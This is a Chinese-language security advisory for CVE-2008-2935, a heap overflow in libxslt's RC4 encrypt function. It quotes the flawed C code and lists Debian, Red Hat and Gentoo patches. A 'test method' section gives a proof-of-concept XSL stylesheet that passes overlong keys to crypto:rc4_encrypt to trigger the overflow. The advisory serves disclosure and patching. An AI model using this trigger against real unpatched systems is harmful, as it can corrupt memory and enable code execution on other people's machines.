安全研究
安全漏洞
libxslt RC4加密/解密函数堆溢出漏洞
发布日期:2008-07-31
更新日期:2008-08-01
受影响系统:
XMLSoft libxslt 1.1.24描述:
BUGTRAQ ID: 30467
CVE(CAN) ID: CVE-2008-2935
Libxslt是为GNOME项目开发的XSLT C库,XSLT本身是用于定义XML转换的XML语言。
Libxslt库的crypto.c文件中crypto:rc4_encrypt函数错误的信任了密钥字符串的长度:
static void
exsltCryptoRc4EncryptFunction (xmlXPathParserContextPtr ctxt, int nargs) {
...
key = xmlXPathPopString (ctxt);
key_len = xmlUTF8Strlen (str);
...
padkey = xmlMallocAtomic (RC4_KEY_LENGTH);
key_size = xmlUTF8Strsize (key, key_len);
memcpy (padkey, key, key_size);
memset (padkey + key_size, '\0', sizeof (padkey));
...
padkey堆分配是固定的128位(RC4_KEY_LENGTH),但却从XSL函数参数拷贝了任意长度的字符串,带有超长输入的XML文件就可以触发堆溢出,导致执行任意指令。
<*来源:Chris Evans (chris@ferret.lmh.ox.ac.uk)
链接:http://marc.info/?l=bugtraq&m=121751750415690&w=2
http://www.scary.beasts.org/security/CESA-2008-003.html
http://secunia.com/advisories/31230/
https://www.redhat.com/support/errata/RHSA-2008-0649.html
http://www.debian.org/security/2008/dsa-1624
http://security.gentoo.org/glsa/glsa-200808-06.xml
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:str="http://exslt[dot]org/strings"
xmlns:crypto="http://exslt[dot]org/crypto"
xmlns:math="http://exslt[dot]org/math"
extension-element-prefixes="str crypto math">
<xsl:template match="/">
<xsl:value-of select="crypto:rc4_encrypt('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"/>
blah
</xsl:template>
</xsl:stylesheet>
建议:
厂商补丁:
Debian
------
Debian已经为此发布了一个安全公告(DSA-1624-1)以及相应补丁:
DSA-1624-1:New libxslt packages fix arbitrary code execution
链接:http://www.debian.org/security/2008/dsa-1624
补丁下载:
Source archives:
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt_1.1.19.orig.tar.gz
Size/MD5 checksum: 2799906 622e5843167593c8ea39bf86c66b8fcf
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt_1.1.19-3.diff.gz
Size/MD5 checksum: 149686 b62a7dd0aa648576a266cd20d634c216
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt_1.1.19-3.dsc
Size/MD5 checksum: 849 7d98fdda0079574b360d4a6e2a12e2be
alpha architecture (DEC Alpha)
http://security.debian.org/pool/updates/main/libx/libxslt/xsltproc_1.1.19-3_alpha.deb
Size/MD5 checksum: 107264 4aac707640a9fcf9aabcd42336b38be3
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dbg_1.1.19-3_alpha.deb
Size/MD5 checksum: 365058 0e966c67dfbc374141960789fcbe96ab
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dev_1.1.19-3_alpha.deb
Size/MD5 checksum: 690408 a431dcc2f32428677e7b737b971e0f9e
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1.1_1.1.19-3_alpha.deb
Size/MD5 checksum: 230788 55d88a4f39eeccf4a21cd2b335c35ae5
http://security.debian.org/pool/updates/main/libx/libxslt/python-libxslt1_1.1.19-3_alpha.deb
Size/MD5 checksum: 131312 ce983f9b6de55027f803e39d1dda2a25
amd64 architecture (AMD x86_64 (AMD64))
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dbg_1.1.19-3_amd64.deb
Size/MD5 checksum: 362484 c91d2d5458f6de4002b4401f5675b742
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1.1_1.1.19-3_amd64.deb
Size/MD5 checksum: 225658 6d4a52da7c2ca5a4280b06bdf03875e0
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dev_1.1.19-3_amd64.deb
Size/MD5 checksum: 630884 06616b7e52d2fc80530302c7d3acd540
http://security.debian.org/pool/updates/main/libx/libxslt/xsltproc_1.1.19-3_amd64.deb
Size/MD5 checksum: 106562 7782d3653528b848ce1d98455f790196
http://security.debian.org/pool/updates/main/libx/libxslt/python-libxslt1_1.1.19-3_amd64.deb
Size/MD5 checksum: 131782 8e9ed3c7418725e1853ae5ccbd082c9b
arm architecture (ARM)
http://security.debian.org/pool/updates/main/libx/libxslt/xsltproc_1.1.19-3_arm.deb
Size/MD5 checksum: 106452 9ef81b83e04979147310ec62d2682550
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dbg_1.1.19-3_arm.deb
Size/MD5 checksum: 346610 29566f2276ff440e778dac5fb667f346
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dev_1.1.19-3_arm.deb
Size/MD5 checksum: 613436 a9a4ebc76beb7ca67f9a7e92e8029ca7
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1.1_1.1.19-3_arm.deb
Size/MD5 checksum: 213438 2c16e6911e26b8fb360aabd16281c0f6
http://security.debian.org/pool/updates/main/libx/libxslt/python-libxslt1_1.1.19-3_arm.deb
Size/MD5 checksum: 126468 b97c69ae48a06fd09a41fadc7c00366c
hppa architecture (HP PA RISC)
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dev_1.1.19-3_hppa.deb
Size/MD5 checksum: 659318 c0f64453ca8cb8dbe9f3970cf157b3ab
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1.1_1.1.19-3_hppa.deb
Size/MD5 checksum: 238420 a7c8f14314bdb82fc51ec1578f4efad3
http://security.debian.org/pool/updates/main/libx/libxslt/xsltproc_1.1.19-3_hppa.deb
Size/MD5 checksum: 107274 3fc49ac897c34e339b3f496700bdfd5e
http://security.debian.org/pool/updates/main/libx/libxslt/python-libxslt1_1.1.19-3_hppa.deb
Size/MD5 checksum: 132222 3f4dc4e5f1162e819bc534c610fad3dc
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dbg_1.1.19-3_hppa.deb
Size/MD5 checksum: 360748 a8c4ae1c8f2e8c348c852a0931f762c5
i386 architecture (Intel ia32)
http://security.debian.org/pool/updates/main/libx/libxslt/xsltproc_1.1.19-3_i386.deb
Size/MD5 checksum: 105974 ea524e8b733c0aa52b797692ee2619b6
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1.1_1.1.19-3_i386.deb
Size/MD5 checksum: 216014 27edcf6172b7d9b5b304bf2265ce6e48
http://security.debian.org/pool/updates/main/libx/libxslt/python-libxslt1_1.1.19-3_i386.deb
Size/MD5 checksum: 128718 3bb1df547e3b5312a382bda417a23bc6
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dbg_1.1.19-3_i386.deb
Size/MD5 checksum: 352132 a7707c2b2a1014f61b79383d639c734f
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dev_1.1.19-3_i386.deb
Size/MD5 checksum: 589190 ea9dbf9647d07f026c6b1fd40c0a2546
ia64 architecture (Intel ia64)
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dbg_1.1.19-3_ia64.deb
Size/MD5 checksum: 364096 277f76958053137cd94f84d3543bfd75
http://security.debian.org/pool/updates/main/libx/libxslt/xsltproc_1.1.19-3_ia64.deb
Size/MD5 checksum: 110406 2636a094ea4494abb2d972c6a7911689
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dev_1.1.19-3_ia64.deb
Size/MD5 checksum: 688406 f8a2642f68f1afb6c2fe980acaef4db5
http://security.debian.org/pool/updates/main/libx/libxslt/python-libxslt1_1.1.19-3_ia64.deb
Size/MD5 checksum: 135214 69e26e4d34a753112f8b4101f7c39812
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1.1_1.1.19-3_ia64.deb
Size/MD5 checksum: 286960 5e0ade1cf276e946cfd1a7f12160c7a0
mips architecture (MIPS (Big Endian))
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dev_1.1.19-3_mips.deb
Size/MD5 checksum: 650964 68b73cf1d94f9e3df9bb5673270a3e4d
http://security.debian.org/pool/updates/main/libx/libxslt/python-libxslt1_1.1.19-3_mips.deb
Size/MD5 checksum: 128984 334fcd884357833ef1ba40e9753d856b
http://security.debian.org/pool/updates/main/libx/libxslt/xsltproc_1.1.19-3_mips.deb
Size/MD5 checksum: 106670 d93d383465f3c7943c82dcd65d1ac560
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1.1_1.1.19-3_mips.deb
Size/MD5 checksum: 213704 9f9fce502a07f2466b39ff4bf7ef58b0
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dbg_1.1.19-3_mips.deb
Size/MD5 checksum: 374008 12305da936211d86b13a7c98090391cb
mipsel architecture (MIPS (Little Endian))
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dev_1.1.19-3_mipsel.deb
Size/MD5 checksum: 625304 53e74fce7300247478e318878b06a863
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dbg_1.1.19-3_mipsel.deb
Size/MD5 checksum: 365834 48789b75049ec966939982fafa7fa83e
http://security.debian.org/pool/updates/main/libx/libxslt/xsltproc_1.1.19-3_mipsel.deb
Size/MD5 checksum: 106716 d99ec4062b95d872f66a4a68cbd4bb60
http://security.debian.org/pool/updates/main/libx/libxslt/python-libxslt1_1.1.19-3_mipsel.deb
Size/MD5 checksum: 128606 3ec247d95450b7091ffef7df0adad247
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1.1_1.1.19-3_mipsel.deb
Size/MD5 checksum: 213946 5ebc6eb3e75d70a0c093b2e9d65884d7
powerpc architecture (PowerPC)
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1.1_1.1.19-3_powerpc.deb
Size/MD5 checksum: 223150 195bcb8c18c3024d4dbf15ad06d3d96c
http://security.debian.org/pool/updates/main/libx/libxslt/xsltproc_1.1.19-3_powerpc.deb
Size/MD5 checksum: 108146 332071c2aabb087b7ee3e6a12e6d2633
http://security.debian.org/pool/updates/main/libx/libxslt/python-libxslt1_1.1.19-3_powerpc.deb
Size/MD5 checksum: 130170 1f2348ff3cb769eb72bb5a941afc1124
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dev_1.1.19-3_powerpc.deb
Size/MD5 checksum: 612084 76ca146446c6470fab227e5cf4b91445
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dbg_1.1.19-3_powerpc.deb
Size/MD5 checksum: 367182 ec6a577956bedc887267bc6185abcedd
s390 architecture (IBM S/390)
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dev_1.1.19-3_s390.deb
Size/MD5 checksum: 601870 11a81ef5cf32bb11102b43b62c1d1371
http://security.debian.org/pool/updates/main/libx/libxslt/xsltproc_1.1.19-3_s390.deb
Size/MD5 checksum: 106834 f3ed9fc6410f2f78de38348736116eee
http://security.debian.org/pool/updates/main/libx/libxslt/python-libxslt1_1.1.19-3_s390.deb
Size/MD5 checksum: 131760 1d7705741271ea0227cdf15eae46f846
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1.1_1.1.19-3_s390.deb
Size/MD5 checksum: 226842 7700a4e49d319d5726074de70ff9a68f
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dbg_1.1.19-3_s390.deb
Size/MD5 checksum: 359430 f11c56a8baaa1bd61ef074324aea9068
sparc architecture (Sun SPARC/UltraSPARC)
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dev_1.1.19-3_sparc.deb
Size/MD5 checksum: 599292 568ee2c44a15e4d5b1d27abb5f3f80ad
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1.1_1.1.19-3_sparc.deb
Size/MD5 checksum: 218166 953db53eba1934c6279875e4ff8b6834
http://security.debian.org/pool/updates/main/libx/libxslt/xsltproc_1.1.19-3_sparc.deb
Size/MD5 checksum: 106372 c9eae6bbdde15ada4613922ab216c6ed
http://security.debian.org/pool/updates/main/libx/libxslt/python-libxslt1_1.1.19-3_sparc.deb
Size/MD5 checksum: 129172 8a97bb6cd74fe353383be290ea14298b
http://security.debian.org/pool/updates/main/libx/libxslt/libxslt1-dbg_1.1.19-3_sparc.deb
Size/MD5 checksum: 337986 2f869f832a7ecdcb7a6ae50b12d0e916
补丁安装方法:
1. 手工安装补丁包:
首先,使用下面的命令来下载补丁软件:
# wget url (url是补丁下载链接地址)
然后,使用下面的命令来安装补丁:
# dpkg -i file.deb (file是相应的补丁名)
2. 使用apt-get自动安装补丁包:
首先,使用下面的命令更新内部数据库:
# apt-get update
然后,使用下面的命令安装更新软件包:
# apt-get upgrade
Red Hat
-------
RedHat已经为此发布了一个安全公告(RHSA-2008:0649-01)以及相应补丁:
RHSA-2008:0649-01:Moderate: libxslt security update
链接:https://www.redhat.com/support/errata/RHSA-2008-0649.html
Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200808-06)以及相应补丁:
GLSA-200808-06:libxslt: Execution of arbitrary code
链接:http://security.gentoo.org/glsa/glsa-200808-06.xml
建议libxslt用户都升级到最新版本:
# emerge --sync
# emerge --ask --oneshot --verbose ">=3Ddev-libs/libxslt-1.1.24-r1"
XMLSoft
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.ocert.org/patches/exslt_crypt.patch
浏览次数:4551
严重程度:0(网友投票)
绿盟科技给您安全的保障
